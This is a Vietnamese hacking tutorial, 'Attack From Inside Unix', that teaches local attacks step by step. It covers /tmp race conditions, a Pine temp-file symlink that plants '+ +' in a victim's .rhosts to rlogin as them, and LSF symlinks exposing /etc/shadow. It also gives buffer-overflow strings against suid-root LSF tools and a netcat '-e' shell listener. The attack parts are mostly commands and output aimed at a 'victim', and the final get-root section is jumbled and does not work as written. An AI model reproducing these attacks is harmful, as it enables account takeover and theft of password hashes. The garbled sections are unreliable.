Attack From Inside Unix
Attack From Inside là gì ?
Attack
From Inside là các phương pháp tấn công từ bên trong hệ thống. Hay nói một
cách khác là bạn đang ở trong hệ thống đó và tìm cách tấn công hệ thống đó ở
bên trong. Chẳng hạn như bạn đã có user ở trong hệ thống đó. Nhưng bạn cần Get
Root hay tấn công gây rốI loạn hệ thống đó từ bên trong thì gọI là Attack From
Inside.
Bài
viết này sẽ nêu qua một số cách Attack dựa vào một số sơ hở của Admin và một
số phần mềm điển hình trên Unix.
1) Race Conditions Attack
Race
Conditions (tình trạng tranh đua) = = > Một trong những cuộc tấn công phổ biến
trên các hệ thống Unix/Linux
Race
Conditions xảy ra khi một chương trình hoặc quy trình xử lý nào đó thực hiện
một sự kiểm tra. Giữa thời gian mà một sự kiểm tra được làm và hoạt động được
thực hiện, kết quả của cuộc kiểm tra đó có thể sẽ phản chiếu trạng thái của
hệ thống. Hacker sẽ lợi dụng chương trình hoặc quy trình này trong lúc nó thực
hiện đặc quyền.
Những chỗ
yếu để làm nền tảng cho các cuộc tấn công Race Editions thường xuất hiện trong
những chương trình yêu cầu những tập tin tạm thời. Như đoạn Code sau:
#!/bin/sh -
TMPFILE=/tmp/foo.$$
if test -x
$TMPFILE; then
echo
"temporary file already exists, possible attack"
exit 255
fi
#Creat our
temporary file
date >
$TMPFILE
(actual
Script goes here)
rm $TMPFILE
Nó sẽ gắng
tạo một tập tin tạm thời ở trong /tmp gọi là /tmp/foo.$$ = = > Phải chắc chắn
rằng file này không tồn tại trước khi nó được Creat. Mặc dù file /tmp/foo.$$
có thể không tồn tại trước khi đoạn Code này được thực thi. Nhưng nó có thể
được tạo ra trước những Command ngày tháng tạo các file excute ở trước. Hiểu
nôm na là làm rối loạn hệ thống bởi ngày tháng tạo các file. Đây là cơ hội cho
các Hacker...Nếu thành công họ có thể Excute các file or các program hoặc bị
thoát ra với những thông báo lỗi về ngày tháng.
Nếu Script
được chạy như một Cron Job, thì thông báo error sẽ không chỉ được báo đến một
người. Hacker có thể trực tiếp thử Excute các Program đặc quyền. Để các cuộc
tấn công theo kiểu này có hiệu quả. Hacker có thể tạo ra, gây lên một sự quá
tải trên hệ thống bị tấn công. Với hy vọng CPU sẽ chuyển đổi qua lại giữa các
quá trình thường xuyên hơn = = > làm quá tải hay làm ngưng trệ hệ thống bị tấn
công.
Hiệu ứng của
các cuộc tấn công kiểu này phụ thuộc vào các program dễ bị tổn thương và các
file của nó (cả file tạm). Như đã nêu ở trên các Hacker có thể cố gắng buộc
người dùng ghi đè lên những file hệ thống bởi việc tạo ra các Symlink trước
khi các Command về ngày tháng được thực hiện. Chẳng hạn như các Version cũ của
GCC bị Bug Race Edition = = > thì các file tạm ở /tmp của nó sẽ dễ dàng bị các
Hacker khai thác.
2)
Pine Bug
Trên các hệ
thống Unix/Linux thường có Pine. Một chương trình Mail nhỏ và tiện dụng. Pine
các phiên bản 3.91 thường có Bug là để lại một log file tạm thời ở /tmp với
Set Mode là 666. Nó thường được xuất hiện khi một phiên Pine được hoạt động
hay khi có một thư mới ở trong Inbox.
Bây giờ bạn
bắt đầu quan sát trạng thái các Process bằng lệnh "ps -aux" và gắng quan sát
xem những user nào đang sử dụng Pine. Sau đó tạo Symlink đến file đó.
Bạn xem qua
ví dụ sau: victim (nạn nhân), you (bạn)
victim@localhost#: pine
you@localhost#:
ps -aux | grep pine
you
1739 0.0 1.8 100 356 pp3 S 19:07 0:00 grep pine
victim 1732 0.8 5.7 249 1104 pp2 S 19:05 0:00 pine
you@localhost#:
ls -al /tmp/ | grep victim
- -
rw-rw-rw- 1 victim elite 4 Aug 26 19:05
.302.f5a4
302.f5a4 = =
> file tạm của pine tạo thành ở /tmp
you@localhost#
: ps -aux | grep pine
you 1744
0.0 1.8 100 356 pp3 S 19:08 0:00 grep pine
you@localhost#
: ln -s /home/victim/.rhosts /tmp/.302.f5a4
Lại tiếp tục
quan sát trạng thái:
you@localhost# :
ps -aux | grep pine
you 1759
0.0 1.8 100 356 pp3 S 19:11 0:00 grep pine
victim
1756 2.7 5.1 226 992 pp2 S 19:10 0:00 pine
you@localhost#
: echo"+ +" > /tmp/.302.f5a4
you@localhost#
: cat /tmp/.302.f5a4+ +
you@localhost#
: rm /tmp/.302.f5a4
Bây giờ
chúng ta rlogin đến victim
you@localhost#
: rlogin litterbox.org -l victim
WOW! bây giờ
bạn đã Login thành công với user victim...
3) LSF Platform
LSF Platform
của
http://www.platform.com là một trong những Tool dùng để quản lý tài
nguyên, ứng dụng theo dõi hoạt động và phân tích một hệ thống mạng máy tính
Unix/Linux...
Tuy nhiên
một số Version cũ của LSF có một số Bug khá nguy hiểm:
Vulnerability #1:
Vấn đề với default log cấu hình mặc định khi cài đặt. Hacker có thể đọc bất cứ
file nào trên hệ thống và dùng Hard Link để khai thác nó:
Khi cấu hình
mặc định! Tất cả các file log của LSF đều được lưu giữ ở thư mục /tmp. Bằng
cách sử dụng Sym Link các Hacker có thể đọc bất cứ file nào trên hệ thống:
ln -s
/etc/shadow /tmp/lim.log.hostname
Khi Command
được phát ra LSF sẽ nối những file log đến /etc/shadow và thay đổi
Permission khiến mọi người có thể đọc nó.
Vulnerability #2:
Vấn đề liên quan đến sự việc mà bất kỳ user nào cũng có thể có được các file
cấu hình. Sự việc mà những user có thể sở hữu và tuỳ biến những file cấu hình
rất nguy hiểm. Hacker có thể ra lệnh cho LSF làm những việc bất ngờ (dĩ nhiên
là có hại cho hệ thống rồi).
Thay đổi
LSF_ENVDIR như vậy nó sẽ hướng đến Home Directory của bạn:
you@localhost#
: setenv LSF_ENVDIR /my/home/you
Copy các
file cấu hình vào Home Directory của bạn:
you@localhost#
: setenv LSF_ENVDIR /my/home/you
Thay đổi nội
dung
/my/home/dir/lsf.conf :
LSB_CMD_LOGDIR=/tmp/test
Bây giờ tạo
/tmp/test
:
you@localhost#
: mkdir /tmp/test
Tiếp đến Sym
Link file log của LSF đến /etc/shadow
you@localhost#
: ln -s /etc/shadow /tmp/test/bqc.log.hostname
Bây giờ bạn
cần tiếp tục bắt buộc những ứng dụng LSF tới bqc.log.hostname = = > Tất nhiên
là nó cần có suid=root.
Như vậy
bqc.log là ứng cử viên mà chúng ta cần. Tất cả những gì chúng ta cần là hỏi
"bqc" về thông tin của hàng đợi không tồn tại.
you@localhost#
: bqc -i dupa_zbita
"bqc"
sẽ tìm ra ngoài mà không có hàng đợi như "dupa_zbita".
Sau đó nó sẽ được lưu giữ vào log. nó sẽ sử dụng file config của chính mình
/my/home/dir/lsf.conf
Vulnerability #3:
Những sự bất
thường bên trong "lsadmin" và "badmin". Hacker có thể khai thác sự bất thường
này để Get Root. "lsadmin" và "badmin" được thực thi khi có UID = Root. Hơn
nữa các Hacker còn có thể khai thác một số Bug "Buffer Overflow"
Chúng được
xuất hiện khi "lsadmin" hoặc "badmin" đang cố gắng xác định thư mục môi trường
của nó bới biến LSF_ENVDIR kiểm tra.
you@localhost#
: setenv LSF_ENVDIR `perl -e 'print "A" x 292'`
Nó đã bị
Buffer Overflow...
Vulnerability #4:
Bug này khá nguy hiểm...Hacker có thể làm tràn bộ đệm hay Get Root. Trong
trường hợp không sẵn sàng sử dụng 'eauth' như một cơ chế chứng thực. Tất cả sự
thực thi LSF được cài đặt với SUID = Root. Vấn đề này sẽ có thể dẫn đến lỗi
tràn bộ đệm:
you@localhost#
: bstatus `perl -e 'print "A" x 524'`
Bạn có thể
đặt giá trị trên 524 nếu cần...
4)
Get Root
Để Get Root
bạn phải lợi dụng sự sơ hở về Permission của hệ thống. Thường thì /tmp được
cấp phép khá lỏng lẻo. Đầu tiên bạn phải tạo một Shell đơn giản vào thư mục
/tmp :
you@localhost#
: cat /tmp/rootshell
#!/bin/bash
Bây giờ ta
lấy Netcat ra xài nào. Đặt Netcat ra Listen trên Port nào đó vào Shell mà ta
mới tạo:
victim@localhost# : nc –vv –l –p 9999 –e /tmp/rootshell
listening on
[any] 9999
Bây giờ bạn
tiếp tục Connect đến Port 9999 mà bạn đặt Listen ở trên:
you@localhost#:
nc –nvv hacked.machine.com 9999
hacked.machine.com [172.18.9.1] 9999 (?) open
stty:
standard input: Invalid argument
root@localhost#: pwd
pwd
LSF_LOGDIR=/tmp/test
[ 'hostname' is your hostname ]
you@localhost#
: lsadmin [or badmin]
Segmentation fault
/bin/bash –I
/rootHy vọng qua bài viết này bạn đã phần nào hiểu được một số cách tấn công
Unix…Unix không phải là một OS bất khả xâm phạm…phải không
?![]()